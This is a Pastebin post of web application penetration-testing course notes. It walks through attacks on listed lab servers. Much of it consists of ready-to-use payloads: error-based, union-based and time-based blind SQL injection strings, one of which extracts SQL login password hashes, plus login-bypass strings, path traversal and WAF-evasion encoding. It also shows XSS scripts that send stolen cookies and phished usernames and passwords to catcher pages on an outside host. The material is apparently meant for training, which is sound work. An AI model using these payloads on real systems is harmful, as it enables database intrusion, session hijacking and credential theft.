Advertisement
joemccray

Down and Dirty Web App

Apr 6th, 2016
1,880
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.80 KB | None | 0 0
  1. ########################
  2. # Down & Dirty App Sec #
  3. ########################
  4.  
  5. Download VMWare Player if you are not currently running a version of Vmware that is newer than VMWare Workstation 11, Vmware Fusion 7, or Vmware Player 11. VMWare Player is free and you download it from here:
  6. https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/12_0
  7.  
  8.  
  9.  
  10. Download the course virtual machines:
  11. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
  12. username: strategicsec
  13. password: strategicsec
  14.  
  15.  
  16.  
  17. Start with simple Firefox Addons:
  18.  
  19. - ShowIP https://addons.mozilla.org/en-US/firefox/addon/showip/
  20. - Server Spy https://addons.mozilla.org/en-US/firefox/addon/server-spy/
  21. - FoxyProxy https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
  22. - Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
  23. - Wapalyzer https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
  24.  
  25. A good list of web app testing add ons for Firefox:
  26. https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34. ##################################
  35. # Basic: Web Application Testing #
  36. ##################################
  37.  
  38. Most people are going to tell you reference the OWASP Testing guide.
  39. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  40.  
  41. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  42.  
  43.  
  44. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  45.  
  46. 1. Does the website talk to a DB?
  47. - Look for parameter passing (ex: site.com/page.php?id=4)
  48. - If yes - try SQL Injection
  49.  
  50. 2. Can I or someone else see what I type?
  51. - If yes - try XSS
  52.  
  53. 3. Does the page reference a file?
  54. - If yes - try LFI/RFI
  55.  
  56. Let's start with some manual testing against 54.213.100.93
  57.  
  58.  
  59. Start here:
  60. http://54.213.100.93/
  61.  
  62.  
  63. There's no parameter passing on the home page so the answer to question 1 is NO.
  64. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  65.  
  66. Try an XSS in the search box on the home page:
  67. <script>alert(123);</script>
  68.  
  69. Doing this gives us the following in the address bar:
  70. http://54.213.100.93/BasicSearch.aspx?Word=<script>alert(123);</script>
  71.  
  72. Ok, so we've verified that there is XSS in the search box.
  73.  
  74. Let's move on to the search box in the left of the page.
  75.  
  76. Let's give the newsletter signup box a shot
  77.  
  78. Moving on to the login page.
  79. http://54.213.100.93/login.aspx
  80.  
  81. I entered a single quote (') for both the user name and the password. I got the following error:
  82.  
  83. Let's try throwing a single quote (') in there:
  84.  
  85. http://54.213.100.93/bookdetail.aspx?id=2'
  86.  
  87.  
  88. I get the following error:
  89.  
  90. Unclosed quotation mark after the character string ''.
  91. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  92.  
  93. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104. #############################################################################
  105. # SQL Injection #
  106. # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
  107. #############################################################################
  108.  
  109.  
  110. - Another quick way to test for SQLI is to remove the paramter value
  111.  
  112.  
  113. #############################
  114. # Error-Based SQL Injection #
  115. #############################
  116. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  117. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  118. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  119. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  120. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  121. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  122. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  123. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  124. http://54.213.100.93/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  125.  
  126.  
  127.  
  128.  
  129. #############################
  130. # Union-Based SQL Injection #
  131. #############################
  132. http://54.213.100.93/bookdetail.aspx?id=2 order by 100--
  133. http://54.213.100.93/bookdetail.aspx?id=2 order by 50--
  134. http://54.213.100.93/bookdetail.aspx?id=2 order by 25--
  135. http://54.213.100.93/bookdetail.aspx?id=2 order by 10--
  136. http://54.213.100.93/bookdetail.aspx?id=2 order by 5--
  137. http://54.213.100.93/bookdetail.aspx?id=2 order by 6--
  138. http://54.213.100.93/bookdetail.aspx?id=2 order by 7--
  139. http://54.213.100.93/bookdetail.aspx?id=2 order by 8--
  140. http://54.213.100.93/bookdetail.aspx?id=2 order by 9--
  141. http://54.213.100.93/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  142.  
  143. We are using a union select statement because we are joining the developer's query with one of our own.
  144. Reference:
  145. http://www.techonthenet.com/sql/union.php
  146. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  147. It removes duplicate rows between the various SELECT statements.
  148.  
  149. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  150.  
  151. http://54.213.100.93/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  152.  
  153. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  154.  
  155. http://54.213.100.93/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  156. http://54.213.100.93/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  157. http://54.213.100.93/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  158. http://54.213.100.93/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  159.  
  160.  
  161.  
  162.  
  163.  
  164. - Another way is to see if you can get the backend to perform an arithmetic function
  165. http://54.213.100.93/bookdetail.aspx?id=(2)
  166. http://54.213.100.93/bookdetail.aspx?id=(4-2)
  167. http://54.213.100.93/bookdetail.aspx?id=(4-1)
  168.  
  169.  
  170.  
  171. http://54.213.100.93/bookdetail.aspx?id=2 or 1=1--
  172. http://54.213.100.93/bookdetail.aspx?id=2 or 1=2--
  173. http://54.213.100.93/bookdetail.aspx?id=1*1
  174. http://54.213.100.93/bookdetail.aspx?id=2 or 1 >-1#
  175. http://54.213.100.93/bookdetail.aspx?id=2 or 1<99#
  176. http://54.213.100.93/bookdetail.aspx?id=2 or 1<>1#
  177. http://54.213.100.93/bookdetail.aspx?id=2 or 2 != 3--
  178. http://54.213.100.93/bookdetail.aspx?id=2 &0#
  179.  
  180.  
  181.  
  182.  
  183.  
  184. ###############################
  185. # Blind SQL Injection Testing #
  186. ###############################
  187. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  188.  
  189. 3 - Total Characters
  190. http://54.213.100.93/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  191. http://54.213.100.93/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  192. http://54.213.100.93/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  193.  
  194. Let's go for a quick check to see if it's DBO
  195. http://54.213.100.93/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  196.  
  197. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  198.  
  199. D - 1st Character
  200. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  201. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  202. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  203. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  204.  
  205. B - 2nd Character
  206. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  207. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  208.  
  209. O - 3rd Character
  210. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  211. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  212. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  213. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  214. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  215. http://54.213.100.93/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226. ###################################################################
  227. # What is XSS #
  228. # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
  229. ###################################################################
  230.  
  231. OK - what is Cross Site Scripting (XSS)
  232.  
  233. 1. Use Firefox to browse to the following location:
  234.  
  235. http://54.172.112.249/xss_practice/
  236.  
  237. A really simple search page that is vulnerable should come up.
  238.  
  239.  
  240.  
  241.  
  242. 2. In the search box type:
  243.  
  244. <script>alert('So this is XSS')</script>
  245.  
  246.  
  247. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  248. Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
  249.  
  250.  
  251. 3. In the search box type:
  252.  
  253. <script>alert(document.cookie)</script>
  254.  
  255.  
  256. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  257. Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
  258.  
  259. 4. Now replace that alert script with:
  260.  
  261. <script>document.location="http://54.172.112.249/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  262.  
  263.  
  264. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  265.  
  266.  
  267. 5. Now view the stolen cookie at:
  268. http://54.172.112.249/xss_practice/cookie_stealer_logs.html
  269.  
  270.  
  271. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  272.  
  273.  
  274.  
  275.  
  276.  
  277.  
  278. ############################
  279. # A Better Way To Demo XSS #
  280. ############################
  281.  
  282.  
  283. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  284.  
  285.  
  286. Use Firefox to browse to the following location:
  287.  
  288. http://54.172.112.249/xss_practice/
  289.  
  290.  
  291.  
  292. Paste this in the search box
  293. ----------------------------
  294.  
  295.  
  296. Option 1
  297. --------
  298.  
  299. <script>
  300. password=prompt('Your session is expired. Please enter your password to continue',' ');
  301. document.write("<img src=\"http://54.172.112.249/xss_practice/passwordgrabber.php?password=" +password+"\">");
  302. </script>
  303.  
  304.  
  305. Now view the stolen cookie at:
  306. http://54.172.112.249/xss_practice/passwords.html
  307.  
  308.  
  309.  
  310. Option 2
  311. --------
  312. <script>
  313. username=prompt('Please enter your username',' ');
  314. password=prompt('Please enter your password',' ');
  315. document.write("<img src=\"http://54.172.112.249/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  316. </script>
  317.  
  318.  
  319.  
  320.  
  321. Now view the stolen cookie at:
  322. http://54.172.112.249/xss_practice/username_password_logs.html
  323.  
  324.  
  325.  
  326.  
  327. #########################################
  328. # Let's kick it up a notch with ASP.NET #
  329. # http://54.200.178.220/ #
  330. #########################################
  331.  
  332.  
  333. The trading Web App is on http://54.200.178.220/
  334.  
  335.  
  336. Try the following in the search box:
  337. <script>alert(123);</script>
  338. ' or 1=1
  339. ' and a=a
  340. 1=1
  341. Joe'+OR+1=1;--
  342.  
  343.  
  344. <script>alert(123);</script>
  345.  
  346. Open a new tab in firefox and try this:
  347. http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
  348.  
  349.  
  350. Try the contact us form.
  351. Open a new tab in firefox and try this:
  352. http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
  353.  
  354. Try this on the inquiry form:
  355. Joe McCray
  356. 1234567890
  357. joe@strategicsec.com') waitfor delay '00:00:10'--
  358.  
  359.  
  360. Login Box:
  361.  
  362. ' or 1=1 or ''='
  363. anything (click login instead of pressing enter)
  364.  
  365.  
  366.  
  367. Tamper Data: (notice 2 session IDs)
  368.  
  369. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  370. IsAdmin=yes;
  371. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  372.  
  373.  
  374.  
  375. Profile - Detail (tamper data)
  376. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  377. joe|set
  378.  
  379.  
  380. xss_upload.txt (Upload Bulk Order)
  381. <script>alert(123);</script>
  382.  
  383.  
  384.  
  385.  
  386. ###############################
  387. # How much fuzzing is enough? #
  388. ###############################
  389. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  390.  
  391. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  392.  
  393.  
  394. Step 1: Ask yourself the 3 questions per page of the site.
  395.  
  396. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  397.  
  398. Step 3: When you load your fuzz strings - use the following decision tree
  399.  
  400. - Are the fuzz strings causing a default error message (example 404)?
  401. - If this is the case then it is most likely NOT vulnerable
  402.  
  403. - Are the fuzz strings causing a WAF or LB custom error message?
  404. - If this is the case then you need to find an encoding method to bypass
  405.  
  406.  
  407. - Are the fuzz strings causing an error message that discloses the backend type?
  408. - If yes, then identify DB type and find correct syntax to successfully exploit
  409. - Some example strings that I use are:
  410. '
  411. "
  412. () <----- Take the parameter value and put it in parenthesis
  413. (5-1) <----- See if you can perform an arithmetic function
  414.  
  415.  
  416. - Are the fuzz strings rendering executable code?
  417. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  418. - Some example strings that I use are:
  419. <b>hello</b>
  420. <u>hello</u>
  421. <script>alert(123);</script>
  422. <script>alert(xss);</script>
  423. <script>alert('xss');</script>
  424. <script>alert("xss");</script>
  425.  
  426.  
  427.  
  428.  
  429.  
  430.  
  431. ############################
  432. # Trading Web App with WAF #
  433. # http://54.213.131.105 #
  434. ############################
  435.  
  436.  
  437. Try the following in the search box:
  438. <script>alert(123);</script>
  439. <script>alert(123);</script
  440. <script>alert(123)
  441. <script>alert
  442. <script>
  443. <script
  444. <scrip
  445. <scri
  446. <scr
  447. <sc
  448. <s
  449. <p
  450. <
  451. < s
  452. Joe'+OR+1=1;--
  453.  
  454.  
  455. Open a new tab in firefox and try this:
  456. http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
  457.  
  458.  
  459. xss_upload.txt (Upload Bulk Order)
  460. <script>alert(123);</script>
  461.  
  462.  
  463. Login Box:
  464.  
  465. ' or 1=1 or ''='
  466. anything
  467.  
  468.  
  469.  
  470. Tamper Data: (notice 2 session IDs)
  471.  
  472. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  473. IsAdmin=yes;
  474. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  475.  
  476.  
  477.  
  478. Profile - Detail (tamper data)
  479. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  480. joe|set
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487.  
  488. ###########################################################
  489. # Attacking an Oracle/JSP based WebApp with SQL Injection #
  490. ###########################################################
  491.  
  492.  
  493.  
  494.  
  495.  
  496. http://54.69.156.253:8081/bookcompany/
  497.  
  498.  
  499. user: a' OR 'a'='a
  500. pass: a' OR 'a'='a
  501.  
  502.  
  503.  
  504.  
  505.  
  506.  
  507.  
  508. http://54.69.156.253:8081/bookcompany/author.jsp?id=111
  509.  
  510.  
  511. [ Search by Username ] Joe' OR 'a'='a
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
  525.  
  526.  
  527.  
  528. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
  529.  
  530.  
  531.  
  532.  
  533.  
  534.  
  535.  
  536.  
  537.  
  538.  
  539.  
  540.  
  541.  
  542.  
  543.  
  544. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
  545.  
  546.  
  547. Host is running:
  548.  
  549.  
  550.  
  551.  
  552.  
  553. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
  554.  
  555. User is:
  556.  
  557.  
  558.  
  559.  
  560.  
  561. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
  562.  
  563. Current database is:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement